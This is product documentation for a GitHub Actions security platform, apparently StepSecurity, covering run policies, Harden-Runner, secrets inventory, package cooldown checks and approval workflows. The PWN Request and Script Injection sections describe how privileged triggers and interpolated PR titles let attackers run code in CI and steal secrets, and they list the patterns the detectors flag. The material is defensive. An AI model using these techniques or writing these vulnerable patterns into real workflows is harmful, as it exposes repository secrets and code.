* Select specific repositories/organizations manually

<figure><img src="/files/k4q830EVGr7wvLkiFrU2" alt=""><figcaption><p>Select Repositories</p></figcaption></figure>

**Step 6: Save the Policy**

* After configuring all settings, click Save to create the policy.

![Click the save button](https://ajeuwbhvhr.cloudimg.io/https://colony-recorder.s3.amazonaws.com/files/2025-05-05/83faa3ac-1ad1-4d61-8a12-95ced8eee9d3/ascreenshot.jpeg?tl_px=195,859\&br_px=1724,1714\&force_format=jpeg\&q=100\&width=1120.0\&wat=1\&wat_opacity=1\&wat_gravity=northwest\&wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png\&wat_pad=524,494)

Follow this interactive demo to see how this workflow run policy works in practice:

{% embed url="<https://app.storylane.io/share/z0ld7pz9bhmn>" %}

### Harden-Runner Policy

The Harden-Runner Policy ensures that every workflow run in your organization executes in a hardened environment. It blocks jobs where the [Harden-Runner](https://github.com/step-security/harden-runner) action is missing, or where it is present but is not configured as the first step of the job. It can additionally require that Harden-Runner's runtime policy comes from the StepSecurity policy store, and block jobs that run entirely inside a container, where Harden-Runner has no visibility.

#### **Why It Matters**

Harden-Runner provides runtime security for GitHub-hosted runners: network egress filtering, file integrity monitoring, process monitoring, and outbound call auditing. These protections only take effect if the action is initialized **before** any other step runs. A job that runs `actions/checkout` or installs dependencies before Harden-Runner has already given any malicious code an unmonitored window to execute. Two configurations undermine the protection in subtler ways: a workflow-defined `policy:` input can be weakened in the same PR that introduces malicious code, and a job-level `container:` on a GitHub-hosted standard runner hides all of the job's outbound calls from Harden-Runner entirely.

This policy reduces risk by:

* Guaranteeing that Harden-Runner is adopted consistently across all covered repositories
* Preventing developers from accidentally (or intentionally) removing Harden-Runner from a workflow
* Ensuring Harden-Runner is always the first step, so no code executes before monitoring is active
* Supporting organization-specific bootstrap actions as valid Harden-Runner equivalents
* Optionally requiring `use-policy-store: true`, so the runtime policy is centrally managed in the StepSecurity policy store and cannot be weakened by editing the workflow file
* Optionally blocking jobs that run entirely inside a container on GitHub-hosted standard runners, closing the monitoring blind spot that job-level `container:` creates

#### Creating a Harden-Runner Policy

**Step 1: Fill in Policy Details**

* **Policy Name** — e.g., `Require Harden-Runner`
* **Policy Type** — select **Harden-Runner Policy**
* **Action** — choose between:
  * **Enforce**: actively blocks jobs that are missing Harden-Runner or have it configured incorrectly
  * **Dry Run**: does not block the workflow run but records the violation on the Evaluations page

<figure><img src="/files/DX64jloDzGmPW3C245wJ" alt=""><figcaption></figcaption></figure>

**Step 2: (Optional) Scope the policy with Target runner labels**

By default the policy applies to **all jobs** across the selected repositories, including self-hosted runners that may not have the Harden-Runner action available.

To restrict the policy to specific runner types, toggle **Target runner labels** on, then select the labels the policy should apply to:

* **Generic label groups**: check **GitHub-hosted standard runners** to target every GitHub-hosted standard runner label (Ubuntu, Windows, and macOS, covering latest, versioned, ARM, and preview labels) in one step. The group excludes larger runners and self-hosted runners, and StepSecurity keeps its label list up to date automatically.
* **Custom labels**: type a label (e.g., `ubuntu-latest`) and press Enter to add it.

The policy will then only evaluate jobs whose `runs-on` value matches one of the selected labels.

{% hint style="info" %}
Use this when you have a mix of GitHub-hosted and self-hosted runners and only want to enforce Harden-Runner on GitHub-hosted ones.
{% endhint %}

**Step 3: (Optional) Add Custom Actions**

If your organization wraps Harden-Runner inside an internal bootstrap action, add those actions under **Custom Actions** so they are recognized as valid Harden-Runner equivalents.

* Type the action's `owner/repo` (for example, `my-org/bootstrap-security`) and press **Enter** to add it.
* Version tags are ignored — matching is done on the action name only.

**Step 4: Select Repositories/Organizations**

Choose whether to apply the policy to:

* All current and future repositories/organizations *(default)*, or
* Specific repositories/organizations selected manually

<figure><img src="/files/M9jH834o3yxMHE8QKP81" alt=""><figcaption></figcaption></figure>

**Step 5: Save the Policy**

**Follow this interactive demo to see how this workflow run policy works in practice:**

{% embed url="<https://app.storylane.io/share/m2vkc9k7lekt>" %}

### PR Comment Template

When a policy blocks a run that originates from a pull request, StepSecurity posts a comment on the PR explaining the block. You can customize this comment per policy in the policy editor, or leave the default unchanged (or reset it) to use the standard StepSecurity comment:

```
## {{policy_type}} Violation

[This workflow run]({{workflow_run_url}}) was blocked by the **{{policy_name}}** run policy.

{{policy_details}}
{{remediation}}

For more information, see [StepSecurity's documentation]({{docs_url}}).
```

The template supports the placeholders `{{workflow_run_url}}`, `{{policy_type}}`, `{{policy_name}}`, `{{policy_details}}`, `{{remediation}}`, `{{actor}}`, `{{owner}}`, `{{repo}}`, and `{{docs_url}}`.


# Policy Evaluations

When a configured policy is not followed, the associated GitHub Actions workflow run will be blocked automatically. This helps enforce organization-wide security and compliance standards.

In such a case, you will see the following message within the workflow run:

```
The run was canceled by @stepsecurity-app[bot].
```

#### Viewing Policy Evaluations in the Dashboard

To review how policies evaluated recent workflow runs, go to the "Policy Evaluations" dashboard under Workflow Run Policies in the StepSecurity platform. You can filter evaluations by workflow and by status.

Each evaluation shows one of three statuses:

* **Allowed**: the run did not violate any applicable policy.
* **DryRunBlocked**: the run violated a policy in Dry Run mode. The violation was recorded, but the run was not cancelled.
* **Blocked**: the run violated a policy in Enforce mode and was cancelled.

The dashboard also shows the repository, workflow file, and timestamp of each event, a direct link to the workflow run, and, for runs triggered from pull requests, a link to the related PR.

<figure><img src="/files/Cc0XaVqHXLX2vdLj0v4k" alt=""><figcaption></figcaption></figure>

#### Understanding Why a Run Was Blocked

Click the arrow next to any listed evaluation to expand a per-policy breakdown. The breakdown lists every policy that applied to the run and the violations each one raised, for example:

* *Compromised actions detected* (Compromised Actions Policy)
* *Disallowed runner labels detected* or *Runner labels not in allowed list* (Runner Label Policy)
* *Use of unapproved actions* (Allowed Actions Policy)

Policies that passed are listed with a green check, so you can see the full evaluation picture for the run, not just the violation that blocked it.

<figure><img src="/files/jpQSo92ibwUZgC74Kz0o" alt=""><figcaption></figcaption></figure>

For Runner Label Policy violations in allow-list mode, the violation details list the exact labels or constraint values that were not on the policy's allowed list.

#### Compromised Actions List at Run Time

For evaluations that involve a Compromised Actions Policy, the breakdown includes a **Compromised actions list at run time** link. It opens the compromised actions list exactly as it existed when the run was evaluated. Actions added to the list later are not shown.

This matters because the compromised actions list updates continuously. A run that passed yesterday may reference an action that is on the list today; the point-in-time record lets you confirm what the run was actually checked against.

<figure><img src="/files/FfdwG7Tbmm6VBodlhzSY" alt=""><figcaption></figcaption></figure>

#### Run Policy Timing

Each evaluation includes timing metrics so you can verify how quickly enforcement occurred:

* **Webhook received**: when StepSecurity received the workflow run event from GitHub.
* **Cancel started / Cancel finished / Cancel duration**: shown for blocked runs, covering the cancellation call itself.
* **Webhook to cancel finished**: the total time from receiving the event to the run being cancelled.

Enforcement typically completes in under two seconds end to end, cancelling the run before a malicious step can do harm.


# Actions Secret

{% hint style="warning" %}
Available for **Enterprise** Tier only
{% endhint %}

The Action Secrets section in StepSecurity allows you to monitor, manage, and track GitHub Actions secrets across an entire organization or within specific repositories.

This helps ensure secure storage and proper usage of sensitive information, such as API keys, tokens, and credentials used within workflows.

To access these features, open your StepSecurity dashboard and navigate to the Action Secrets section. The page has two tabs: **Organization Secrets** and **Repository Secrets**.

### Organization Secrets

* Provides a centralized view of all secrets used across repositories.
* Tracks the last rotation date of secrets, helping enforce regular updates for security.

<figure><img src="/files/eTWn2CkciTtmVosphhLN" alt=""><figcaption></figcaption></figure>

### Repository Secrets

The Repository Secrets tab lists secrets specific to individual repositories, along with rotation age, usage status, and OIDC replaceability.

<figure><img src="/files/l3gRlQBxYK18CDT9Ln3d" alt=""><figcaption></figcaption></figure>

#### Summary cards

At the top of the tab, summary cards give you an at-a-glance view of your cleanup opportunities:

* **Total Secrets**: every repository secret across the organization.
* **Unused Secrets**: secrets no workflow references. Strong candidates for removal.
* **Stale Secrets**: secrets whose referencing workflows have not run in over 90 days.
* **OIDC Replaceable**: secrets that could be replaced with OpenID Connect (OIDC) authentication, eliminating the need to store the secret at all.

#### Usage status

Each secret is assigned one of four statuses:

| Status    | Meaning                                                                                                                                                                    |
| --------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Active`  | The secret is referenced by at least one workflow, and one of those workflows ran within the last 90 days.                                                                 |
| `Stale`   | The secret is referenced by a workflow, but none of the referencing workflows have run in the last 90 days. The secret may be a leftover from a retired pipeline.          |
| `Unused`  | No workflow in the analyzed repositories references the secret. It is a strong candidate for removal.                                                                      |
| `Unknown` | The repositories that could use this secret have not been analyzed for secret references yet, so usage cannot be determined. This clears automatically once analysis runs. |

The 90-day window is based on the most recent run of any workflow that references the secret. The last run time of each referencing workflow is shown in the **Used in Workflows** column, so the most recent of these is the secret's effective last-used time.

{% hint style="info" %}
The `Unused` status considers only the workflows that StepSecurity has analyzed. A secret consumed outside of GitHub Actions (for example, by an external system reading it through the API) is not counted as a workflow reference
{% endhint %}

#### Where each secret is used

For every secret, the dashboard lists the workflows that reference it. Expand a secret row to see the full list of referencing workflows, each with:

* The repository and workflow file where the reference was found.
* The Action (`uses:` value) of the step that consumes the secret, so you can see exactly which Action reads a given secret.
* The last run of that workflow, including its conclusion and a link to the run on GitHub.

<figure><img src="/files/7y1p4gdPXDaMv6RXr5rq" alt=""><figcaption></figcaption></figure>

#### How references are detected

StepSecurity analyzes your workflow YAML to find every way a secret can be read:

* Direct references such as `secrets.NPM_TOKEN`.
* Bracket references such as `secrets['NPM_TOKEN']`.
* Bulk references such as `toJSON(secrets)` and dynamic lookups such as `secrets[matrix.environment]`. These expose every secret in scope, so they are attributed to all secrets the workflow can access.

The analysis also follows reusable workflow calls made with `secrets: inherit`, so a secret used only inside a called workflow is still attributed correctly. References to the automatically provided `GITHUB_TOKEN` are excluded, since it is not a configured secret.

#### OIDC recommendations

Static, long-lived secrets such as cloud credentials and registry tokens are a common source of supply chain risk. Many of them can be replaced with OIDC, where GitHub issues a short-lived token for each workflow run and no static secret is stored at all.

The dashboard flags a secret as **OIDC Available** when either of the following is true:

* The secret is passed to an Action that supports OIDC federation:
  * `aws-actions/configure-aws-credentials` (AWS)
  * `google-github-actions/auth` (GCP)
  * `azure/login` (Azure)
* The secret's name identifies a registry publishing token that supports OIDC trusted publishing, such as an npm token or a PyPI token.

When a secret is OIDC Available, the badge also shows the provider (for example, `OIDC Available · AWS`). Secrets that are referenced but have no OIDC-based alternative are marked `Not Applicable`, and unreferenced secrets show no OIDC signal.

#### Filtering

Use the controls above the table to narrow down the list:

* **Search**: Filter by repository or secret name.
* **Status filter**: Filter secrets by usage status: `Active`, `Stale`, `Unused`, or `Unknown`.
* **OIDC available**: Show only secrets that can be replaced with OIDC.

### Acting on the results

A typical cleanup pass looks like this:

1. Start with `Unused` secrets. Confirm they are not needed outside of Actions, then delete them.
2. Review `Stale` secrets. If the pipeline that used them is retired, remove the secret. If it is still needed, rotate it.
3. Work through the OIDC Replaceable list. Migrate cloud credentials and publishing tokens to OIDC, then delete the static secret once the workflow is verified.

This turns the secrets inventory from a static list into an actionable checklist for reducing your standing credential footprint.


# GitHub Checks

{% hint style="warning" %}
**Available for Enterprise Tier Only**
{% endhint %}

{% hint style="info" %}
**Permissions required:** GitHub Checks requires the `pull_requests: read` and `checks: write` permissions on the StepSecurity Actions Security GitHub App. If you installed the app before these permissions were introduced, accept them to enable GitHub Checks.
{% endhint %}

GitHub Checks is a powerful feature that helps you monitor and improve the quality of your code by running automated checks on your repositories.

By enabling this feature, you can gain better insights into your code’s performance, security, and compliance directly within your GitHub workflow.

## Types Of GitHub Checks

* Harden Runner Baseline Check
* StepSecurity Required Checks
* StepSecurity Optional Checks

### Harden Runner Baseline Check

This check integrates Harden-Runner insights into the GitHub Checks UI, providing developers with immediate feedback on outbound network activity.

With this integration, developers no longer need to rely on email or Slack notifications or visit the StepSecurity dashboard to monitor anomalous network calls.

### StepSecurity Required Checks

These are blocking status checks. When enabled, a pull request cannot be merged until all Required Checks pass. Use this to bucket StepSecurity controls (e.g., the StepSecurity GitHub Check) into the “required” set so merges are blocked on them.

To ensure StepSecurity Required Checks work for your organization:

* Go to your Organization Settings
* Navigate to Code, planning and automation → Repository → RuleSets
* Create a new ruleset

<figure><img src="/files/qOeqZCPGbi1IiZySg9Os" alt=""><figcaption></figcaption></figure>

* Enable the rule “Require status checks to pass” and include StepSecurity Required Checks in the list of required checks.

<figure><img src="/files/DctLtfSfrWUR8tMMvWoX" alt=""><figcaption></figcaption></figure>

### StepSecurity Optional Checks

These provide developers with security and quality insights without blocking pull requests. They surface issues for visibility but allow merges to proceed even if they fail.

### How it Works

**Step 1:** Navigate to Configuration under GitHub Checks in your StepSecurity dashboard

**Step 2:** Select the Controls you want to enable and choose the check type (Required or Optional)

<figure><img src="/files/YbsM21tE0r8aFdbztuFk" alt=""><figcaption></figcaption></figure>

**Step 3:** Set the cooldown period (between 1–30 days). You can also define exemption packages if your team publishes packages that should not be subject to the cooldown

<figure><img src="/files/9wzpsysyI18SV80H1NAe" alt=""><figcaption></figcaption></figure>

**Step 4:** Select the repositories you want this to apply to, then click Save Changes

![](https://ajeuwbhvhr.cloudimg.io/https://colony-recorder.s3.amazonaws.com/files/2025-09-04/1d45a238-e697-4c7d-90dc-2f33ecc14593/ascreenshot.jpeg?tl_px=221,128\&br_px=2973,1667\&force_format=jpeg\&q=100\&width=1120.0\&wat=1\&wat_opacity=1\&wat_gravity=northwest\&wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png\&wat_pad=524,277)

## **Example: a failing cooldown check**

The walkthrough below uses the `npm Package Cooldown` check as an example. `PyPI Package Cooldown`, `Maven Package Cooldown`, and `NuGet Package Cooldown` behave identically against Python, Java, and .NET dependencies.

**When a check fails.** A developer or bot opens a pull request that adds a `package.json` entry referencing a newly-published npm package. The `npm Package Cooldown` check fails because the package was published within the configured cooldown window (by default, 2 days).

![](https://ajeuwbhvhr.cloudimg.io/https://colony-recorder.s3.amazonaws.com/files/2025-09-04/afe101d8-e70a-49dc-9d78-1fb8a02b7253/ascreenshot.jpeg?tl_px=0,298\&br_px=2266,1565\&force_format=jpeg\&q=100\&width=1120.0\&wat=1\&wat_opacity=1\&wat_gravity=northwest\&wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png\&wat_pad=776,277)

**Seeing the failure in GitHub.** On the PR, click **StepSecurity Required Checks** or **StepSecurity Optional Checks** (depending on how the control is configured)

![](https://ajeuwbhvhr.cloudimg.io/https://colony-recorder.s3.amazonaws.com/files/2025-09-04/f7405231-628b-4716-9b2f-4e7b9e919f8a/ascreenshot.jpeg?tl_px=0,175\&br_px=2752,1714\&force_format=jpeg\&q=100\&width=1120.0\&wat=1\&wat_opacity=1\&wat_gravity=northwest\&wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png\&wat_pad=272,443)

You'll see the full set of checks that ran, which may include:

* `Script Injection`
* `PWN Request`
* `npm Package Compromised Updates`
* `npm Package Cooldown`
* `PyPI Package Compromised Updates`
* `PyPI Package Cooldown`
* `Maven Package Compromised Updates`
* `Maven Package Cooldown`
* `NuGet Package Compromised Updates`
* `NuGet Package Cooldown`

Click the failing `npm Package Cooldown` check to see details, including the package name, the version, its publish date, and when it will pass the cooldown.

![](https://ajeuwbhvhr.cloudimg.io/https://colony-recorder.s3.amazonaws.com/files/2025-09-04/13e429e3-e826-4f6e-ba5e-89a70775ca0f/ascreenshot.jpeg?tl_px=0,175\&br_px=2752,1714\&force_format=jpeg\&q=100\&width=1120.0\&wat=1\&wat_opacity=1\&wat_gravity=northwest\&wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png\&wat_pad=412,374)

**What happens next.** Once the package version ages beyond the configured cooldown window, the check passes automatically on the next run. No manual intervention is required.

![](https://ajeuwbhvhr.cloudimg.io/https://colony-recorder.s3.amazonaws.com/files/2025-09-04/d3511e4f-ce4b-4c62-89fa-cca74a73b16e/ascreenshot.jpeg?tl_px=272,175\&br_px=3024,1714\&force_format=jpeg\&q=100\&width=1120.0\&wat=1\&wat_opacity=1\&wat_gravity=northwest\&wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png\&wat_pad=728,513)

## Emergency Overrides for the Cooldown Check

If a newly published package must be merged immediately (for example, a critical security patch published yesterday), you can override the cooldown check in two ways:

* **Approve the check**: a one-time approval for that check run. Best for a one-off urgent merge.
* **Exempt the package**: adds the package to the cooldown control's Exempted Packages list, so it bypasses the cooldown check in every pull request until you remove it. Best when the package is one your team publishes internally, or a vetted version that multiple repositories need right away.

If the merge can wait, no override is needed. Once the package version ages beyond the configured cooldown window, the check passes automatically on the next run.

Before overriding, review the failing check details (package name, version, and publish date) and confirm the version is one your team trusts. Both overrides are an explicit opt-out of the cooldown's zero-day protection for that package.

#### Option 1: Approve the check

* Open the StepSecurity dashboard and go to the recent GitHub check run.

<figure><img src="/files/75BpXJCXlr6qODQCen9c" alt=""><figcaption></figcaption></figure>

* Click Approve All.

![](https://ajeuwbhvhr.cloudimg.io/https://colony-recorder.s3.amazonaws.com/files/2025-09-04/46f09154-0e46-4b3c-ae79-0b065ec68315/ascreenshot.jpeg?tl_px=272,0\&br_px=3024,1538\&force_format=jpeg\&q=100\&width=1120.0\&wat=1\&wat_opacity=1\&wat_gravity=northwest\&wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png\&wat_pad=998,95)

* The check passes immediately on the next run.

![](https://ajeuwbhvhr.cloudimg.io/https://colony-recorder.s3.amazonaws.com/files/2025-09-04/c205c9ef-0bf9-401c-aa4f-5c040977d553/ascreenshot.jpeg?tl_px=0,175\&br_px=2752,1714\&force_format=jpeg\&q=100\&width=1120.0\&wat=1\&wat_opacity=1\&wat_gravity=northwest\&wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png\&wat_pad=114,386)

#### Option 2: Add the package to the Exempted Packages list

* In the StepSecurity dashboard, go to **GitHub Checks → Configuration**.
* Click the gear icon next to the relevant **Package Cooldown** control (npm, PyPI, Maven, or NuGet). The configuration panel opens with the Cooldown Period and Exempted Packages settings.

<figure><img src="/files/iJ8A56bLB42KfAPOZZ80" alt=""><figcaption></figcaption></figure>

* In the **Exempted Packages** field, type a pattern and press **Enter**. Patterns are matched as regular expressions:

| Pattern       | What it exempts                 |
| ------------- | ------------------------------- |
| `react@2.3.4` | A single version of one package |
| `lodash@*`    | All versions of one package     |
| `@company/*`  | All packages under a scope      |

Exempt the narrowest pattern that solves the problem. For an urgent merge, that is usually a single version.

* Click **Save Changes**.
* Re-run the checks on the pull request by commenting in the PR thread:

```
@stepsecurity-app checks re-run
```

The cooldown check re-evaluates with the exemption applied and passes for the exempted package.

Exempted packages skip only the cooldown check. Every other enabled control, including Package Compromised Updates, still evaluates them. Review your exempted list periodically and remove entries that are no longer needed.

### **Filtering checks by pull request**

You can filter check runs by pull request number. When you view a check in the StepSecurity dashboard, the associated PR number appears as a clickable link. Clicking the PR number shows all checks related to that pull request, with one check run per commit.

<figure><img src="/files/52OjMuZAXXuGRiV5gHUU" alt=""><figcaption></figcaption></figure>

Clicking the PR number shows all checks related to that pull request, with one check run per commit.

<figure><img src="/files/EhCzYkbpOdyFF03SqLDV" alt=""><figcaption></figcaption></figure>


# Configuration

GitHub Checks let you enforce StepSecurity security scans as part of your pull request workflow. Each control scans a specific class of supply-chain risk and reports its result back to GitHub as a check that appears alongside your other CI checks.

This page describes the controls available, how to configure them, and how to apply them to your repositories.

Each control is set to either **Required** (blocks merges on failure) or **Optional** (advisory only) when you enable it. See [Types of GitHub Checks](/github/github-checks#types-of-github-checks) for the distinction between these modes.

<figure><img src="/files/YbsM21tE0r8aFdbztuFk" alt=""><figcaption></figcaption></figure>

### **Package Compromised Updates**

Blocks pull requests that introduce or update a dependency known to be compromised.

StepSecurity's SOC continuously monitors the npm, PyPI, Maven, and NuGet ecosystems for emerging threats and maintains a real-time database of compromised packages. In many cases this database is updated before an official CVE is published, so teams can block a malicious package faster than traditional vulnerability scanners allow.

If a pull request uses a compromised package, the check fails and prevents the merge, eliminating a major attack vector and helping teams respond to incidents at the speed of the ecosystem.

Available for:

* **npm**: scans npm dependencies
* **PyPI:** scans PyPI dependencies
* **Maven**: scans maven dependencies
* **NuGet**: scans NuGet (.NET) dependencies

**Follow this interactive demo to see how it works:**

{% embed url="<https://app.storylane.io/share/7tjai6bkkmbr>" %}

### **Package Cooldown**

Prevents pull requests from introducing or updating dependencies that were published very recently.

Most supply-chain attacks on public registries are discovered within the first 24 hours of a malicious package being published. A cooldown period gives the ecosystem and StepSecurity's threat intelligence time to catch a malicious release before it reaches your code.

The cooldown window is configurable per control. By default, packages published within the last 2 days fail the check. Once a package version ages beyond the configured cooldown, the check passes automatically, with no manual intervention required.

Available for:

* **npm**: scans npm dependencies
* **PyPI**: scans PyPI dependencies
* **Maven**: scans Maven dependencies
* **NuGet**: scans NuGet (.NET) dependencies

**Configuring the cooldown window.** Click the gear icon next to a Package Cooldown control to open its configuration panel. You can set the cooldown window in days to match your organization's risk tolerance. Use a shorter window for teams that need to adopt new releases quickly, and a longer window for teams that prefer more settling time before accepting new dependency versions.

<figure><img src="/files/Kx0Lcc9zMIrIsct38tFi" alt=""><figcaption></figcaption></figure>

**Follow this interactive demo to see how to configure it:**

{% embed url="<https://app.storylane.io/share/rrrcr1ybzzge>" %}

### **PWN Request**

Flags GitHub Actions workflows that use patterns vulnerable to a **PWN Request** attack.

PWN Request vulnerabilities occur when a workflow triggered by `pull_request_target` executes untrusted code from a forked pull request with access to the base repository's secrets. Attackers exploit this by submitting a PR that silently modifies a build or test script, which then runs with write access to the repository's secrets and tokens.

The check treats the following workflow triggers as risky:

* `pull_request_target`
* `workflow_run`
* `issue_comment`, `issues`
* `pull_request_review`, `pull_request_review_comment`
* `discussion`, `discussion_comment`

These events run workflows in the context of the base repository, with access to repository secrets and a privileged `GITHUB_TOKEN`, even when the event was initiated by an external contributor. A workflow that uses one of these triggers and then checks out or executes untrusted code (for example, code from a forked PR branch) can be exploited to exfiltrate secrets or push malicious changes.

This control detects these insecure trigger and checkout patterns, surfacing the risk before an attacker can exploit it.

### **Script Injection**

Flags GitHub Actions workflows that use unsanitized external inputs in shell commands.

Script Injection vulnerabilities occur when workflow expressions like `${{ github.event.pull_request.title }}` or `${{ github.event.issue.body }}` are interpolated directly into shell commands. An attacker who controls the PR title or issue body can inject shell code that runs with full access to the workflow's environment, including secrets and the `GITHUB_TOKEN`.

The risk is highest in workflows that use the following triggers, because the interpolated content (titles, bodies, comments, review text, discussion posts) is attacker-controlled and the workflow runs with base repository permissions:

* `pull_request_target`
* `workflow_run`
* `issue_comment`, `issues`
* `pull_request_review`, `pull_request_review_comment`
* `discussion`, `discussion_comment`

This control scans workflows for these patterns and surfaces warnings so teams can fix them before an attacker uses them to execute code in CI.

## **Apply to Repositories**

Once you've configured controls in the section above, apply them to your repositories in the **Apply to Repositories** section.

You can apply checks to all current and future repositories by selecting the checkbox at the top of the repository list. You can also manage check behavior on a per-repository basis:

* **Required Checks**: enable or disable required-check enforcement for this repository
* **Optional Checks**: enable or disable optional checks for this repository
* **StepSecurity Harden-Runner**: enable or disable the Harden-Runner baseline check for this repository

Per-repository overrides take precedence over the organization-wide setting, so you can enable a check org-wide while exempting specific repositories that need different coverage.


# Checks

The Checks section lists all StepSecurity check runs across your organization. From here, you can see why a check failed, review security findings, and approve checks when appropriate.

<figure><img src="/files/WjDTfbtvMdktHkfnxvEY" alt=""><figcaption></figcaption></figure>

You can refine the list of checks by applying filters:

* Filter by Conclusion (Success or Failure)
* Filter by Repository
* Filter by Status(Approved or Pending)
* Filter by Time Range

## Approving a Failed StepSecurity GitHub Check

This guide explains how to approve a failed StepSecurity GitHub check when an alert is triggered due to unexpected network calls from CI/CD runners.

There are two ways to do this:

1. From the GitHub Pull Request (PR)
2. From the StepSecurity dashboard<br>

### Option 1: Approve From the PR

#### **Step 1: Navigate to the Pull Request**

* Open the Pull Request (PR) that contains the failed StepSecurity check.

<figure><img src="https://ajeuwbhvhr.cloudimg.io/colony-recorder.s3.amazonaws.com/files/2025-03-04/fbf5f4e8-0dd0-443c-b850-7ee2edb74a94/user_cropped_screenshot.jpeg?tl_px=127,89&#x26;br_px=2880,1628&#x26;force_format=jpeg&#x26;q=100&#x26;width=1120.0" alt="StepSecurity Harden-Runner Check failing in a PR"><figcaption><p>StepSecurity Harden-Runner Check failing in a PR</p></figcaption></figure>

#### **Step 2: Click on the Failed Check**

* Locate the StepSecurity Harden-Runner check under the failed checks section.
* Click on the failed check to view more details.

<figure><img src="https://ajeuwbhvhr.cloudimg.io/colony-recorder.s3.amazonaws.com/files/2025-03-04/4088bbae-95c9-4ccd-af9f-3d1a010ce6d0/ascreenshot.jpeg?tl_px=0,398&#x26;br_px=1965,1497&#x26;force_format=jpeg&#x26;q=100&#x26;width=1120.0&#x26;wat=1&#x26;wat_opacity=1&#x26;wat_gravity=northwest&#x26;wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png&#x26;wat_pad=434,277" alt="StepSecurity Harden-Runner Check failing in a PR"><figcaption><p>StepSecurity Harden-Runner Check failing in a PR</p></figcaption></figure>

#### **Step 3: Review the Failure Details and Approve**

* The check failure page will display details about unexpected network calls detected from the Harden-Runner.
* Identify the endpoint and the workflow that triggered the alert.
* If you want to approve the check run, click the approval link provided in the failure details.

<figure><img src="https://ajeuwbhvhr.cloudimg.io/colony-recorder.s3.amazonaws.com/files/2025-03-04/b2a97b09-33d3-44e4-b80c-df1ae7323346/ascreenshot.jpeg?tl_px=145,335&#x26;br_px=2111,1433&#x26;force_format=jpeg&#x26;q=100&#x26;width=1120.0&#x26;wat=1&#x26;wat_opacity=1&#x26;wat_gravity=northwest&#x26;wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png&#x26;wat_pad=519,340" alt="StepSecurity Harden-Runner failed check"><figcaption><p>StepSecurity Harden-Runner failed check</p></figcaption></figure>

#### **Step 4: Approve the Check Run**

* On the approval page, review the detected outbound network calls.
* Click “Approve” to confirm that you are aware of the anomalous call.

<figure><img src="https://ajeuwbhvhr.cloudimg.io/colony-recorder.s3.amazonaws.com/files/2025-03-04/4700f1d0-df46-4045-9eff-f40d2b174554/user_cropped_screenshot.jpeg?tl_px=255,0&#x26;br_px=3008,1538&#x26;force_format=jpeg&#x26;q=100&#x26;width=1120.0&#x26;wat=1&#x26;wat_opacity=1&#x26;wat_gravity=northwest&#x26;wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png&#x26;wat_pad=1042,174" alt="StepSecurity Insights page"><figcaption><p>StepSecurity Insights page</p></figcaption></figure>

#### **Step 5: Verify Approval Status**

* Return to the check run status tab in GitHub.
* You will now see that the check has been approved by your GitHub username.

<figure><img src="https://ajeuwbhvhr.cloudimg.io/colony-recorder.s3.amazonaws.com/files/2025-03-04/52bf0642-3a0a-41a2-8545-88f36c3ddb4f/user_cropped_screenshot.jpeg?tl_px=1042,328&#x26;br_px=3008,1427&#x26;force_format=jpeg&#x26;q=100&#x26;width=1120.0&#x26;wat=1&#x26;wat_opacity=1&#x26;wat_gravity=northwest&#x26;wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png&#x26;wat_pad=819,277" alt="StepSecurity Harden-Runner check"><figcaption><p>StepSecurity Harden-Runner check</p></figcaption></figure>

#### **Step 6: Confirm the StepSecurity Check Passed**

* After approval, the StepSecurity check should now be successful.
* The PR is now ready for merging.

<figure><img src="https://ajeuwbhvhr.cloudimg.io/colony-recorder.s3.amazonaws.com/files/2025-03-04/ecc58c30-b81a-44f3-88a8-ee4e76ee9f45/ascreenshot.jpeg?tl_px=201,619&#x26;br_px=2167,1718&#x26;force_format=jpeg&#x26;q=100&#x26;width=1120.0&#x26;wat=1&#x26;wat_opacity=1&#x26;wat_gravity=northwest&#x26;wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png&#x26;wat_pad=963,272" alt="StepSecurity Harden-Runner check successful"><figcaption><p>StepSecurity Harden-Runner check successful</p></figcaption></figure>

### Option 2: Approve from the StepSecurity Dashboard

#### Step 1: Navigate to the Dashboard

* Open the StepSecurity dashboard.

<figure><img src="/files/FmzIsr2b5Ys27Jbv6W1H" alt=""><figcaption></figcaption></figure>

#### Step 2: Filter Failed Check Runs

* Use the filters to show only Failed check runs.

<figure><img src="/files/xgYFDqxrvaFbbRIQteUs" alt=""><figcaption></figcaption></figure>

#### Step 3: Open the Failed Run

* Locate the failed check run that is pending approval.
* Expand it by clicking the > arrow.

<figure><img src="/files/e20YFYcDtuVhvDOTrbwG" alt=""><figcaption></figcaption></figure>

#### Step 4: Review and Approve

* Review details of the detected outbound network calls.
* If legitimate, click Approve to allow the run.

<figure><img src="/files/Qbv9SR8wsKnpoWIXRdhF" alt=""><figcaption></figcaption></figure>

#### Step 5: Verify and Confirm

* The status will update to Approved in the dashboard.
* The corresponding GitHub check will re-run and pass.

<figure><img src="/files/t20JoRMm8zV5iPRwbQW7" alt=""><figcaption></figcaption></figure>

### Re-running StepSecurity Checks from a Pull Request

Customers can re-run StepSecurity checks directly from a Pull Request (PR) by leaving a comment.

To trigger a re-run, comment the following in the PR thread:

```
@stepsecurity-app checks re-run
```

Once the comment is added, the StepSecurity app will automatically re-run all associated checks for that PR. This is useful when you’ve fixed workflow issues or adjusted configurations and want to validate the updated behavior without creating a new commit.


# Orchestrate Security

Orchestrate Security analyzes your GitHub Actions workflows against security best practices and automatically fixes the gaps it finds. You choose the scope (a single workflow, a full repository, or your entire organization) and StepSecurity handles the remediation.

### Tools

| Tool                                                                | Scope                         | Description                                                                                                      |
